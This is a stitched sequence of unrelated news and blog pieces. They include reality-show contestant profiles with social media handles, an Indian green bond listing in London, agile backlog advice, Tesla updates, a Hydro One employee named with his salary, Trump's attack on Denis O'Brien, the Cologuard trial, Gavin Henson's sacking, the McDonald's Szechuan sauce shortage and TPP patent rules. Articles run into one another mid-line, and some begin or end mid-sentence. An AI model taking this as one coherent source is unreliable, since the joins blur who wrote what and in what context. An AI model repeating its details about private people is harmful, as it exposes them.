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18. Lucas Yancey: 30, Los Angeles, CA. He’s a real estate investor (at least that what he says in his video below), but lets call him what he is – an actor. The guy used to be a PA for the Farrelly Brothers, has a bunch of YouTube and Facebook videos, anIMDB page, and was also on a season of “Ex-Isle” on the WE channel, just like fellow contestant, Blake Elarbee. And on an earlier episode of Robert Mills’ EW podcast, Mills specifically called him this season’s villain. Well, he’s an “early season” villain since he doesn’t even make it to episode 4.
Facebook – Lucas Yancey
Twitter – @yKnotWorld
Instagram – yyanceyman
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19. Lee Garrett: 29, Nashville, TN. Well according to the guy’s LinkedIn, he’s an actor, singer/songwriter, bartender, and small biz owner. On the show, he will be the country singer. Graduated the University of Florida in 2008 with a B.A. in Psychology.
Facebook – Lee Garrett
Twitter – @LeeGarrett_
Instagram – leegarrett_
LinkedIn – Lee Garrett
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20. Anthony Battle: 26, Chicago, IL. He’s a Schools Manager at EverFi. Played football at Northwestern University and graduated in 2013 with a B.A. in English Literature. Speaks 4 languages: French, Indonesian, Spanish, and Latin. Was the guy on the second 1-on-1 date in LA when he and Rachel rode horses around the streets of LA.
Facebook – Anthony Battle
Instagram – siranthonybattle
LinkedIn – Anthony Battle
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Send all links and emails to: [email protected]. To follow me on Twitter, it’s: www.twitter.com/RealitySteve. Instagram name is “RealitySteve,” or join my Reality Steve Facebook Fan Page. Talk to you tomorrow.London: The London Stock Exchange today welcomes Rural Electrification Corporation's (REC) first green bond, which was admitted to trading on London's International Securities Market (ISM). The ten year dated green bond raised $450 million, with an annual yield of 3.965 per cent. The bond was 3.9 times oversubscribed on the final order book and secured strong international investor interest, with Asian investors making up 68 per cent of the order book and investors from the EMEA region making up 32 per cent.
The state-owned company, which finances and promotes power sector projects in India, will use the proceeds of the Climate Bonds Initiative certified green bond to finance environmentally friendly projects across India. One of its aims is to provide affordable and accessible power to most rural parts of the country by 2020. Some of the projects will include solar, wind and biomass assets, as well as sustainable water and waste management projects. The company, which is headquartered in New Delhi provides financial assistance to various State Power Utilities, Private Sector Project Developers, Central Power Sector Utilities and State Governments for investments in Power Generation, Power Transmission, Power Distribution, rural electrification projects and other system improvement initiatives.
The Chairman of REC, Dr. P.V. Ramesh joined Nikhil Rathi, CEO of London Stock Exchange plc to open trading in London to celebrate the listing.
Nikhil Rathi, CEO, London Stock Exchange plc & Director of International Development, London Stock Exchange Group, said:
"We are honoured to welcome Dr. P.V. Ramesh, Chairman of REC, to London Stock Exchange today and warmly congratulate REC on its first green bond listing. The success of REC's $450 million issuance is a significant achievement for REC, underlining the strength of international investor interest in building exposure to India's green growth story.
"REC's listing reinforces London's status as a market open to the world and a strong partner to India as it realises its ambitious green financing and infrastructure projects across the country. It is also an important milestone for our Group as REC is listing the first green bond on our International Securities Market."
Dr. P.V. Ramesh, Chairman & Managing Director of Rural Electrification Corporation Limited (REC), said: "The REC team is delighted to be welcomed to London Stock Exchange today in celebration of its green bond listing. The funds raised will help promote renewable energy projects all across India and aid in achieving our Government's target of 175GW of installed renewable energy capacity by 2022. Through this issuance on London Stock Exchange, we will be also able to reach out to a new investor base."
Sean Kidney, CEO and Co-founder of Climate Bonds Initiative, said: "This certified bond will help bring green energy to rural Indian villagers, clean power to where it's needed most. It's another step towards the nations' 2022 renewable energy target. Institutional investors backing long term carbon friendly projects is what we need to see replicated on a grand scale. Listing on London Stock Exchange gives exposure to global capital pools, an essential ingredient to reach India's climate finance goals."
The REC bond is ISM's first green bond listing since the market launch in May this year. The launch of the new debt market was supported by India's Minister of State for Power and Renewable Energy, Shri Piyush Goyal, who sees London as a long term partner for Indian firms looking to raise finance in the global capital markets. This reinforces London's position as the world's most international listing venue. ISM was launched to improve the effectiveness and competitiveness of the UK primary debt markets, offering greater choice for a variety of fixed income issuers.Best way to prioritize product features
This is another very commonly asked question.
The process is actually very easy. It would include development and team agreement on some key criteria such as pain for users, % of customers impacted, revenue potential etc… Once you have the criteria, you will need to weight then – the sum of weight needs to 100% obviously.
From there it’s a matter of entering the features into the list and evaluating. The most important part is to get the broad stakeholders team agreement on all the scores – even better so, you as a product manager should do the evaluation together with your team from engineering, IT, operations, sales, finance and others. This way any disagreements and potential future issues can be minimised.
To make this easy, here is a screen shot of prioritisation matrix which is essentially part of Parcus Group Product Management Software platform.Elon Musk says improvements are on the way for the Model S. (Photo11: Tesla)
Tesla Motors, caught in a lull between product launches, is going to try to keep the Model S electric car feeling fresh by improving upon it, CEO Elon Musk says.
Best of all for some current owners, some of the improvements will just show up without any effort on their part.
Tesla plans to automatically push software to the Model S fleet that will help the car learn the driver's habits and adjust to them. The navigation system will offer directions to locations that steer around traffic jams. Drivers will be able to name their car in the mobile app.
"There aren't many products that give people joy, and we want this to be one of those products," Musk told his shareholders at the annual meeting last week.
This year, Tesla is offering only the single model, the Model S that is EPA rated at up to 265 miles on a single charge, the most of any electric car. The company's next model won't come until next year, when the delayed Model X crossover goes on sale. Musk says the holdup has centered on making sure its signature design element, gullwing doors to make it easier to get in the rear, works properly and is leak-proof. "Getting the door right is extremely difficult," he says.
For those buying new Model S sedans, the car now comes with an underbody shield to protect against objects that might pierce the battery pack. "You can drive over a concrete block and be OK," Musk quipped. The additional shielding results from reported fires in two Teslas in the U.S. that struck objects. The drivers left the vehicles before the fires broke out.
The car now has optional power folding mirrors and sensors to keep the car from bumping into other cars or objects while parking.
Later this year, Musk says, Tesla will offer an upgraded driver's seat, addressing one of his pet peeves that the current one isn't comfortable enough. Tesla is also working on a self-driving feature for freeways that would work like automatic pilot on aircraft, although still requiring drivers to pay attention.
Musk says the electric fleet has now collectively traveled 344 million miles — and it has yet to record a single "serious permanent injury" or death in an accident. "That is certainly one of our proudest accomplishments," he adds.
Read or Share this story: http://usat.ly/1pqRuX1Simoes was also on the Sunshine List in 2014 with a salary of $106,000.
Hydro One says it is taking steps to terminate Simoes for violating the company code of conduct.
One of the men in the video that shows a group of men shouting vulgarities at City News Reporter Shauna Hunt has been identified.
According to Wilfrid Laurier’s website, from 2003-2005 Shawn Simoes was a member of the Men’s Soccer Team.
Hydro One says it is taking steps to terminate Simoes for violating the company code of conduct.
When Hunt asked Simoes about what he was saying in the video he said “It’s f-ing amazing…I respect it.”
When asked how his mom would respond, he said “My mom would die laughing eventually.”
He is also registered as playing in the Ontario Hydro Soccer League.
Simoes was also on the Sunshine List in 2014 with a salary of $106,000.It is a farrago of accusation, fact, defamation and innuendo. Donald Trump’s attack on Irish billionaire Denis O’Brien is chiefly an attempt to smear Hillary Clinton, by association.
But Trump’s attack on O’Brien also highlights the actions and inaction of successive Irish governments. And in a second of his string of “Follow The Money” messages on Wednesday night. Trump identified the Irish government, through Irish Aid, as one of the Clinton Foundation’s biggest financial backers among international states.
This attack may not be deliberate Trump payback for overt political assaults on him by senior politicians in the Dáil this year, but it should be enough to worry Irish voters. With the EU going after tax breaks for US jobs here, we do not need a pissed-off president in the White House.
Remember when many people were still laughing at the idea that Trump could be president? That was just four months ago. In late May, Trump proposed stopping in Ireland to visit his Doonbeg golf links and to meet with some politicians. It was seen as another effort to court the Irish-American vote, which Irish politicians usually welcome. They didn’t welcome Trump, so he cancelled.
“If Trump’s comments are racist and dangerous, which they are, there is an alternative for Americans to vote for,” Taoiseach Enda Kenny said. His Minister for Social Protection Leo Varadkar described comments by Trump as “sexist” and “misogynist”.
“It is not acceptable for democrats to speak in the way Donald Trump has spoken about various religions and ethnic groups and about building walls. It sets an appalling example for how the free world should speak and articulate,” was the view of Fianna Fáil’s Micheál Martin.
Some put these attacks on Trump down to principle. Others might see them as cheap-shots, and partisan interference in another country’s election that they thought Trump was sure to lose. Maybe they recklessly backed the wrong horse.
Denis O’Brien could sue Trump for libel. He would be less likely to win in America than in Europe. Trump’s statement itself accuses O’Brien of attempting to silence politicians and journalists who criticise him, quoting one US report that “O’Brien has previously injuncted or initiated defamation proceedings 24 times against 42 media outlets”.
Mr O’Brien is perfectly entitled in law to sue for defamation if he wishes. But the Government can hardly sue. Yet Trump’s attack shames Ireland.
The candidate refers to damning findings of the Moriarty Tribunal inquiry into payments to politicians, including Michael Lowry. In doing so Trump raises issues that will not go away but that have never been resolved by either the government or by O’Brien. And he does so on an international stage where Ireland’s arrangements with some multinationals are already a cause for scandal.
Shockingly direct
The headlines on the Trump statement are shockingly direct, and present Irish media with questions of liability for defamation if repeated here. American libel law is much more permissive than that of either Ireland or Britain.
Trump has constructed his 3,500 word attack on O’Brien and Clinton by relying largely on quotations from published sources. These include The Irish Times, the Guardian, the Sunday Independent, Village, Forbes, and US websites Irish Central and The Daily Beast.
Noting that, as of April last, Denis O’Brien is worth more than $6 billion (€5.3bn), Trump describes him as Bill Clinton’s “friend”. Trump says that, “In 2011, O’Brien Flew Bill Clinton To Ireland On His Private Jet So That Clinton Could Speak At The Global Irish Economic Forum.” There was nothing illegal about doing that of course. But how does that look now for Hillary Clinton, desperate to paint Trump as unprincipled? And for Ireland?
It is not just some Irish politicians who often appear to be honorary members of the Democratic Party in the next parish. Too much of our media is informed by perspectives and reports that fail to convey to the Irish public how many Americans outside New York or Boston really feel. If O’Brien had feted Trump, and if Hillary Clinton was now making this attack, it might have been a lot higher up the RTÉ news agenda this morning.
The “dumb redneck” cliche does not explain why so many Americans are unable to relate to a candidate such as Hillary Clinton. I hope that she wins, but know the US well enough to understand why too many of its citizens are tempted to give Trump a try, and it’s not about bigotry.
Now, even before Trump may be elected president of the US, this Irish Government needs to backtrack rapidly and to make it clear that it is as happy to work with Trump as with Clinton if Americans in November puts him in the White House.The product backlog might be the more important item for a Scrum team as it represents the business value that the project should deliver to its customers. Putting a priority on the features and user stories is however not always easy for the product owners, especially if they are dealing with multiple stakeholders. In this article, Samantha Laing shares a technique that can help to improve the results of this activity.
Author: Samantha Laing, Growing Agile, http://growingagile.co.za/
As a Product Owner do you ever feel that you have too much work and not enough capacity, or have too many stakeholders yelling for their items to be done first? Do you never have time to tackle technical debt or innovation because the head of sales keeps demanding new features?
Prioritizing items correctly is one of the difficulties we often see with backlogs. Having a correctly prioritized backlog is valuable though. It ensures that your team is working on the most important items for the business and that your product is headed in the right direction. The most important job you have as a Product Owner is deciding how best to use your team’s capacity.
We have a technique that we teach Product Owners to help prioritize across different stakeholders. The quadrant below shows one way of representing all the possible work that needs to be done on your backlog against 2 axes: time and who the work helps most. In our experience it is easier to get your stakeholders to make an agreement that features to support new customer should only take up 50% of your capacity (for example), than that a particular technical debt item is more important that a particular customer feature. Once you have an agreement of what percentage of capacity to spend on each area (total should be 100%), then you can get stakeholders for each quadrant to prioritize what is the most important way to spend their percentage of the capacity.
Past and Business (Q1)
Here past refers to existing features, or existing clients. Business stakeholders refers to items customers would care about. Items that fall into this quadrant are usually called support items. This might be bug fixes that have been logged by customers, or minor enhancements to an existing feature to make life easier for an existing customer. Items in this quadrant won’t get you new customers, but they will impact on the retention and happiness of existing customers. Also this quadrant is often funded by maintenance and support contracts, so it can in fact be a revenue generating quadrant.
Future and Business (Q2)
This quadrant is often the only one people focus on, especially if there is a big drive to get new customers. Items in this quadrant would be anything to help get more customers in future. It could be anything from new features, to scaling, to adding additional platform support for a new type of user.
Past and Technical (Q3)
This is an often neglected quadrant. Essentially it is items that exist which impact the technical team. Technical debt is a good example. For example, one feature might be badly written and therefore be very fragile; resulting in bugs each time the team works on this feature. Items here don’t usually bring in revenue, but if selected well they can be great cost savers. Another example in this quadrant might be something that saves the support team a lot of time. For example if your support staff have to debug complex issues, adding additional logging information might be something that will help them reduce the time they spend here.
Future and Technical (Q4)
This quadrant is a forward-looking quadrant with a technical slant. Often architects can advise on ideas for this quadrant. Potentially a new piece of technology is available that will simplify your product significantly. Other items might be upgrades to a new technology stack, before the technology you use becomes redundant. For example, upgrading to the latest version of Java. These items can sometimes bring in revenue, because they appeal to customers, but usually these are cost savers, the new technology should make development easier for your team.
About the author
Samantha Laing is an Agile coach for Growing Agile. She focuses on helping teams improve the way they work using agile techniques. She provides a combination of coaching and training to help organizations find their right path.
This article has been originally published on http://growingagile.co.za/2014/06/a-technique-to-help-prioritise-your-backlog/. This technique is also presented in the book “Growing Agile: A Coach’s Guide to Mastering Backlogs” written by Samantha Laing and Karen Greaves.Getty Images
All the reports out of Minnesota suggest that the Vikings have three players they’re considering with the third overall pick: USC left tackle Matt Kalil, Oklahoma State receiver Justin Blackmon and LSU cornerback Morris Claiborne. If the Vikings have equal grades on all three guys, the perfect scenario would be to trade down just far enough that they can be sure they’ll get one of those three.
A trade with the Buccaneers would be just the deal to do that.
Alabama running back Trent Richardson appears to be a player the Bucs, with the fifth overall pick, absolutely love. But he also appears to be a player the Browns, with the fourth overall pick, absolutely love. And so a Bucs-Vikings trade is the only way for the Bucs to get ahead of the Browns and get Richardson. According to Mary Kay Cabot of the Cleveland Plain Dealer, that’s exactly what the Buccaneers are considering: Jumping up two spots and taking Richardson before the Browns can get a chance at him.
That would likely leave the Browns taking Claiborne, and then the Vikings would still get their pick of Kalil or Blackmon. If the Vikings got Kalil, the man they’ve been projected to get all along, and also got an extra pick later in the draft from the Buccaneers to move down, that would be a great piece of draft-day deal-making. What we don’t know is whether the Bucs really love Richardson enough that they’re willing to give up a later pick just to move up two spots. But if they do, the Vikings could get their man, and get something more.New US Postal Service Ad Campaign: Email Sucks, So Mail Stuff Instead
from the from-luddites-r-us dept
It seems the US Postal Service (USPS) is starting to get pretty desperate. Losing a ton of money, it's apparently decided that the time is now to attack the competition. The competition, of course, is email. It's put out two TV commercials that focus on bashing email for not being either secure or reliable:Of course, I'm pretty sure I've had a lot more physical mail "lost" by human carriers than emails just disappear. And you could easily argue that regular mail isn't particularly secure at times either. All in all, though, it seems like a bizarre commercial. Why even bother making silly assertions about email? Do they really think people are going to start saying... "gee, I can't trust this email stuff to communicate with my friends; now I'm going to start sending real letters through the USPS!"
Filed Under: email, snail mail, uspsResults of a clinical trial of Cologuard show unprecedented rates of precancer and cancer detection by a noninvasive test. The detection rates are similar to those reported for colonoscopy. The results were published in the March 20 issue of the New England Journal of Medicine (NEJM). Cologuard was co-developed by Mayo Clinic and Exact Sciences.
Cologuard, is a noninvasive sDNA test for the early detection of colorectal precancer and cancer. The Cologuard test is based on a stool sample that is analyzed for DNA signatures of precancer or cancer. The samples are easily collected, mailed from home, requires no bowel preparation, medication restriction or diet change.
The clinical trial, called the DeeP-C study, included 10,000 patients and was designed to determine how well Cologuard detects precancer and cancer. The study also compared Cologuard to the fecal immunochemical test for occult blood (FIT). The study was conducted at 90 medical centers throughout the United States and Canada.
"Cologuard detection rates of early stage cancer and high-risk precancerous polyps validated in this large study were outstanding and have not been achieved by other noninvasive approaches," says the study's author David Ahlquist M.D., a Mayo Clinic gastroenterologist and co-inventor of the Cologuard test. "It is our hope that this accurate and user-friendly test will expand screening effectiveness and help curb colorectal cancer rates in much the same way as regular Pap smear screening has done for cervical cancer."
In the study, all patients received Cologuard, FIT and colonoscopy. Colonoscopy was the reference method. Major findings reported in the study include:
• Sensitivity of Cologuard for cancer was 92 percent overall, and 94 percent for the earliest and most curable cancer stages (stages I and II).
• Sensitivity was 69 percent for precancerous polyps at greatest risk to progress to cancer (i.e., those containing high-grade dysplasia).
• Cologuard detected significantly more cancers and significantly more precancerous polyps than did FIT.
"The most important finding of the study is the high sensitivity of Cologuard for curable stage colorectal cancer, which represents the highest sensitivity of any noninvasive test to date," says Thomas Imperiale, M.D., a Professor of Medicine at Indiana University Medical Center in Indianapolis and a study author. "It is also significant to note that these results were achieved in a robustly conducted multicenter study."
Colorectal cancer is often considered the most preventable, yet least prevented, cancer. Nearly 50 percent of adults age 50 and older have not been screened as recommended and, as a result, colorectal cancer has become the second-leading cause of cancer death in the United States. Colorectal cancer is highly treatable if found early, and it is preventable if the precancerous polyps at greatest risk of progressing can be detected.
"Dr. Ahlquist's work exemplifies our goal at Mayo Clinic, which is the relentless pursuit of innovation aimed to help our patients. This research will transform how we think about colorectal cancer screening going forward," says Vijay Shah, M.D., chair of Mayo Clinic's Division of Gastroenterology and Hepatology.
Cologuard works by testing a patient's stool for altered DNA shed during digestion. Altered DNA is known to occur within colorectal cancers and precancerous polyps. The test also examines the stool for the presence of blood, another possible indicator of colorectal cancer. Combining the data from the stool DNA test and the blood test into a single result provides a comprehensive, powerful screening approach, which is reflected in the study results.
Because of its accessibility and ease of use, researchers hope the test will increase the number of people who will choose to be screened for
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ically described by Paxton as Musa cavendishii, after the Duke.[5]
The Chatsworth bananas were shipped off to various places in the Pacific around the 1850s. It is believed that some of them may have ended up in the Canary Islands,[5] though other authors believe that the bananas in the Canary Islands had been there since the fifteenth century and had been introduced through other means. Namely by early Portuguese explorers who obtained them from West Africa and were later responsible for spreading them to the Caribbean.[2] African bananas in turn were introduced from Southeast Asia into Madagascar by early Austronesian sailors.[6] In 1888, bananas from the Canary Islands were imported into England by Thomas Fyffe. These bananas are now known to belong to the Dwarf Cavendish cultivar.[7]Henson career in doubt after Cardiff sack star for booze binge (and he's banned by Flybe too!)
Gavin Henson has been sacked by Cardiff Blues after admitting an all-night drinking session which finished with him allegedly throwing ice cubes at plane passengers.
The one-time Wales star issued a grovelling apology on Sunday and hoped that would be enough to save his job, and possibly his career.
Ready to board? Gavin Henson poses with a fan shortly before his flight out of Glasgow
But Henson's fate was sealed when he attended a disciplinary hearing on Monday morning.
It is understood Henson went out in Glasgow city centre after Cardiff's match on Friday night and did not return to the team's hotel until 5am for a 7am flight.
Out the door: Gavin Henson has been sacked by Cardiff Blues
HENSON CONTROVERSIES October 2005: Henson releases a book entitled 'My Grand Slam Year' chronicling Wales' Six Nations success and his experiences on the Lions tour of New Zealand. Comments about other players and life in the Wales camp mean he is forced to apologise in front of his team-mates. December 2005: Henson is cited for elbowing Leicester prop Alex Moreno in a Heineken Cup game between the two sides, Henson is initially banned for 10 weeks and two days, which is reduced to seven weeks on appeal. December 2007: Henson is charged with disorderly conduct over his behaviour on a train after helping Ospreys beat Harlequins in the Anglo-Welsh Cup. The case is later dropped. April 2011: Having left the Ospreys for Saracens and then moved on to Toulon, things appear to be looking up for Henson when he scores a try on his debut for the French club. But after his second appearance against Toulouse he is involved in an altercation with two team-mates in a nightclub and is suspended for a week. March 2012: Henson is suspended by Cardiff Blues following an incident on the flight back from Scotland after their match against Glasgow Warriors the previous night. He later apologises for drinking and 'behaving inappropriately'.
Cardiff Blues CEO Richard Holland said in a statement: 'The Cardiff Blues management have discussed the matter at length but have acted swiftly since the incident occurred on Saturday morning.
'Gavin admitted himself that his behaviour was totally unacceptable and the immediate termination of his contract sends out a clear message that behaviour like that will not be tolerated at the Blues.
'We have a duty to our supporters and sponsors to protect the good name of Cardiff Blues and those associated with our brand.
'Gavin Henson is obviously a talented rugby player and it's unfortunate that his career at the Blues has ended this way.
'However, we would like to thank him for his service and wish him the best of luck with his future career.'
Henson had earlier said in a statement via his management company: 'I stupidly carried on drinking during the flight, for which I am truly embarrassed.
'I can see that drinking and behaving inappropriately on that flight as a professional sportsman at 7am has caused offence to members of the public, the Flybe airline staff and passengers.
'I know that I have let my team-mates, coaches, management, sponsors and indeed my family down with my actions. Drinking on that plane was inexcusable and I know that I must take responsibility for it.
'I also accept that in the light of this I need to learn from it and ensure this does not happen again.
'I am prepared to co-operate 100 per cent with the Cardiff Blues wishes and will do everything that I need to do in order to make amends and enable the Blues to focus on our biggest game of the season next weekend.
'I remain fully focused and committed to Cardiff Blues and I hope they can accept my apology.'
Will Wales see him again? Henson is talented but his career is now in doubt
Flybe are also investigating the incident and released a statement saying: 'Flybe can confirm that it is gathering information from its own staff as well as those at both airports and will make no further comment at this time.'
Henson is no stranger to controversy. Last May he left Toulon following a bust-up with teammates. In December 2007 he had been accused of disorderly conduct on a train, following a game at Harlequins.
Two years later he was cautioned by police investigating an alleged assault, while in 2005, following the Grand Slam triumph, he was questioned by Wales team officials for an incident in a pub.
Apology: Henson issued a statement on Sunday
Henson had vowed to revive his career when he signed for Saracens in December 2010 following a period on the sidelines to overcome injury and personal problems surrounding his marriage to singer Charlotte Church.
But he stayed only two months at Saracens before he joined Toulon for that troubled stay. After missing out on World Cup selection last September with a wrist injury, he signed for Cardiff on a short-term basis just before last Christmas.
But Henson has struggled to make an impact, making just eight appearances for the region.
Blues would have hoped Henson would be a candidate to take over from Wales centre Jamie Roberts for Saturday's Heineken Cup quarter-final against Leinster in Dublin.
Roberts faces a scan today after he injured a knee again in Friday's match.
First capped as a 19-year-old in 2001, Henson sprang to prominence by kicking a monster penalty to help Wales beat England 11-9 at the start of the 2005 RBS 6 Nations, paving the way for a first Welsh Grand Slam in 27 years and his selection for the British & Irish Lions tour of New Zealand.
HENSON FACTFILE
1982: Born February 1 in Bridgend. 2000: Joins Swansea at the age of 18. 2001: Named the International Rugby Board's young player of the year. Wins first Wales cap on summer tour of Japan and makes first start against Romania in Cardiff in September. 2003: Misses out on selection for the World Cup in Australia. 2005: February 5 - Kicks the winning penalty as Wales beat England 11-9 at the Millennium Stadium.
March 19: Part of the Wales side that completes a first Grand Slam for 27 years.
March 26: Scores 24 points as the Ospreys seal the Celtic League title with victory over Edinburgh.
April 11: Named in Sir Clive Woodward's squad for the British and Irish Lions tour to New Zealand. Plays in the second Test as the Lions are routed 3-0 by their hosts.
October: Releases a book entitled 'My Grand Slam Year'. Comments about other players and life in the Wales camp saw him forced to apologise to his team-mates.
December 19: Elbows Leicester prop Alex Moreno in a Heineken Cup game and serves a seven-week ban. 2006: February 26 - Just 12 days after Mike Ruddock's shock resignation as Wales coach, Henson comes off the bench as the visitors are trounced 31-5 by Ireland in Dublin. Henson later described himself as feeling'suicidal' over his performance.
2007: Misses out on World Cup selection following achilles injury.
December 10 - Charged with disorderly conduct over behaviour on a train after helping Ospreys beat Harlequins. The case is later dropped. 2008: Becomes a mainstay in new coach Warren Gatland's Wales side.
March 15 - Part of Wales side that beats France 29-12 in Cardiff to win another Six Nations Grand Slam, but picks up an injury and misses the summer tour to South Africa. 2009: March 21 - Tastes defeat for the first time in a Six Nations match he has started as Ireland claim the Grand Slam with a 17-15 win in Cardiff.
March 28: Suffers an ankle injury playing for the Ospreys against Gloucester which rules him out of the Lions tour to South Africa.
August 29: It is revealed Henson is on indefinite, unpaid leave from the Ospreys. 2010: September 8: Named as a contestant on the BBC's Strictly Come Dancing.
October 27: Released by Ospreys from the remainder of his contract, which ran until May 2011.
October 28: Signs for Saracens.
December 26: Comes off the bench to make his Saracens debut in the 13-6 victory over Wasps in the Aviva Premiership at Wembley.
2011: January 2 - Makes his only start for Saracens in the 28-22 defeat by Sale Sharks.
February 2: Saracens agree to release Henson from his contract after just four appearances.
February 3: Joins French Top 14 side Toulon.
April 18: Following his second appearance in a victory over Toulouse, Henson is suspended by Toulon for a breach of club discipline.
May 24: Toulon confirm earlier reports of Henson's departure.
June 14: Channel 5 confirm Henson will star in new TV dating show, a UK version of the US hit The Bachelor.
August 13: World Cup hopes come to an end because of a dislocated bone in his right wrist suffered in Wales' 19-9 win over England in Cardiff.
October 18: Signs for Cardiff Blues.
2012: March 31 - Suspended by Cardiff Blues following an incident on the flight back from Scotland after their match against Glasgow Warriors the previous night, he later apologises for his behaviour.
April 2: Cardiff Blues confirm they have dismissed Henson with immediate effect.
Later that year he was forced to apologise to his Wales team-mates over revelations he made in his book 'My Grand Slam Year', and shortly after he was banned for seven weeks for elbowing Leicester prop Alex Moreno.
Henson rediscovered his best form to be a key figure in Wales' 2008 Six Nations clean sweep, which came just a few months after an incident on a train in December 2007 that saw him charged with disorderly conduct, although the case was later dropped.
But with the rugby world seemingly his for the taking, a mixture of injuries followed by a self-imposed exile from the game between March 2009 and October 2010 saw his star fade.
During that time Henson appeared in several reality TV shows, including Strictly Come Dancing and 71 Degrees North, and also went on to appear in The Bachelor.
Having negotiated a release from his Ospreys contract in October 2010, Henson joined Saracens - for whom he made just four appearances - and Toulon in quick succession as he sought to win a place in Wales' squad for the 2011 World Cup.
Henson's stint in France started promisingly with a try on his debut, but the nightclub altercation saw him suspended for a week and he was not offered a contract extension at the end of the season.
Despite not having a club, Henson won his first Wales cap for over two years in the defeat to the Barbarians last May and was named in coach Warren Gatland's provisional World Cup squad, only for a wrist injury suffered in the warm-up win over England to end his aspirations.
There had been glimpses of his best form in that fixture, and it was enough to convince the Blues to take a chance on the three-quarter, but that opportunity to revive his career has now been ended following the events of the weekend.
Shortly after the announcement that Henson had been sacked by Cardiff, Flybe issued a statement saying that they had informed the player that he has been banned from using the airline for six months.
A company spokesperson said: 'The safety of our passengers and staff is Flybe's number one priority and as such the airline has a zero tolerance attitude to unruly behaviour on board our aircraft.
'We are grateful for Mr Henson's apology following Saturday's flight from Glasgow to Cardiff.Granada coach Lucas Alcaraz has hit out at Barcelona and Ivan Rakitic over their failure to apologise for the Croat's mid-game tirade at Andreas Pereira on Sunday.
Granada boss: Barcelona "should have put it right"
TV cameras captured Rakitic taunting the Granada player over the 19th-placed Andalusians' relegation worries, shouting: "You guys are going down!"
The midfielder, who scored the third in Barça's 4-1 win at Los Cármenes, was also seen calling the on-loan Manchester United man a "son of a b**ch".
Rakitic can be seen shouting "You guys are going down!" and calling Pereira a "son of a b**ch". 'El Golazo de Gol'
Speaking on Tuesday, Alcaraz railed against Barça and Rakitic when asked about the incident: "The players at the big clubs in Spain are able to do as they please.
"They've shown disrespect to this club, and they should have put it right."
Alcaraz alleges double standards in LaLiga
Alcaraz added: "If a player from a big club does it, it's put down to the heat of the moment; if a player from a smaller club does it, he's branded a disgrace."Adult Swim
Plenty of "Rick and Morty" fans were disappointed on Saturday, the one day that certain McDonald's locations offered the now-cult favorite Szechuan sauce mentioned on the show back in April.
If you haven't been keeping up on decades-old fast-food product revivals, here's the scoop: The sauce was briefly offered as a tie-in to Disney's "Mulan" movie back in 1998. Then it vanished. And that was it, until the April mention brought Szechuan fans out on social media, clamoring for the dip.
And finally, the restaurant chain granted that wish, offering the sauce for one day only: Saturday Oct. 7, and only at a few locations. Fans were enthused going in.
But even those who were near a supposed-Szechuan-sauce-selling McD's had trouble acquiring some, and they were vocal about it on social media.
McDonald's apologized for the limited quantities in a tweet sent out Saturday. In response to a question about whether restaurants were really limited to 10 to 20 packets and whether the sauce might be offered again, McDonald's referred CNET to the tweet.
The best fans in the multiverse showed us what they got today. We hear you & we're sorry not everyone could get some super-limited Szechuan. — McDonald's (@McDonalds) October 7, 2017
But fans weren't soothed by the "sorry."
Went to @mcdonalds for #szechuansauce was told they got only 10 packets they were gone Who's doing their supply logistics @NintendoAmerica? — The Geek Commentator (@geekcommentator) October 7, 2017
Look, @McDonalds...you knew how viral the whole #szechuansauce thing was. It's on you for every employee that hates their life today. — Kai Milbridge (@kai_milbridge) October 7, 2017
.@McDonalds REALLY horrible marketing to make 1000s of ppl line up for #SzechuanSauce when you only have 20 per location #boycottMcDonalds — ChrisC (@Angeleyyz) October 7, 2017
Went to go get the #szechuansauce @McDonalds and it was only the first 20 people. What's with that?? @RickandMorty pic.twitter.com/c8ZpzJv4aJ — Josh Thrasher (@JoshThrasher30) October 7, 2017
@mcdonalds was gifted a phenomenon of pop culture and squandered it by letting thousands of people walk away empty handed. #SzechuanSauce — R.Garza (@simplecymbalsTX) October 7, 2017
This kind of marketing promotion is the reason Jerry is unemployed @McDonalds #szechuansauce pic.twitter.com/arSAU3svgk — Kevin Luparello (@In_the_Lupe) October 7, 2017
An Accurate Representation of the #SzechuanSauce event at McDonalds. pic.twitter.com/axCUNKxycI — John Guerra (@Scourgey) October 7, 2017
@McDonalds you suck. Only 10 posters & 20 packets of #szechuansauce to a store; there are already 30 in line.. 4 hours early. #rickandmorty — Brandon Kronz (@BrandonKronz) October 7, 2017
@McDonalds drove 4 hours at 6am from Canada for that #szechuansauce - no sauce, wouldn't even give us a poster :( #iwantmymcnuggetsauce pic.twitter.com/HzYkmhplbO — Jillian Campagnola (@RadioJillian) October 7, 2017
And the inevitable eBay auctions from the lucky few drew even more complaints.
@McDonalds did you really get 17 packets a store or did your managers just make buku side cash #pissed #szechuansauce #ebay pic.twitter.com/pht1Ded46D — Alice Specht (@AliceSpecht) October 7, 2017
First published Oct. 7, 1:57 p.m. PT
Update, 4:11 p.m.: Adds apology tweet from McDonald's.Proposals with the potential to impact significantly on Australia's Pharmaceuticals Benefits Scheme include a requirement that patents be available for new uses of existing drugs, effectively allowing ''evergreening'' of existing patents; compensation to companies for delays in the grant or extension of patents; and measures to ensure data exclusivity to allow companies to prevent competitors, specifically manufacturers of generic medicines, from using past clinical safety and efficacy data to support approval of new products.
Prime Minister Tony Abbott has indicated he is keen to see the trade talks pushed to a successful conclusion next month, saying that ''there's always horse-trading in these negotiations, but in the end … everyone is better off''.
Intellectual property law expert Matthew Rimmer said the draft was ''very prescriptive'' and strongly reflected US trade objectives and multinational corporate interests ''with little focus on the rights and interests of consumers, let alone broader community interests''. ''One could see the TPP as a Christmas wish list for major corporations; and the copyright parts of the text support such a view,'' Dr Rimmer said. ''Hollywood, the music industry, big IT companies such as Microsoft, the pharmaceutical sector would all be very happy with this.''
The Department of Foreign Affairs and Trade recently excluded journalists from TPP industry briefings held in anticipation of the next round of negotiations that begins in Salt Lake City, Utah, next week.
Dr Rimmer noted Australia appeared ''generally supportive'' of the US or otherwise ''quite passive'' in the negotiations. The leaked draft shows the US and Japan oppose wording, supported by most other countries, that highlights the importance of ''maintain[ing] a balance between the rights of intellectual property holders and the legitimate interests of users and the community''.Government deficit widens VERNON SMALL
ROBERT KITCHIN/Stuff.co.nz
The Government has posted a Budget deficit of $2.9 billion in the year to June 30, $338m worse than forecast in the pre-election opening of the books.
The Government has posted a Budget deficit of $2.9 billion in the year to June 30, $338m worse than forecast in the pre-election opening of the books.
Finance Minister Bill English said the result was the third consecutive narrowing of the deficit before gains and losses (Obegal) and was further evidence careful fiscal management was producing consistent gains over time.
However it compared with the forecast deficit of $2b in the 2013 Budget.
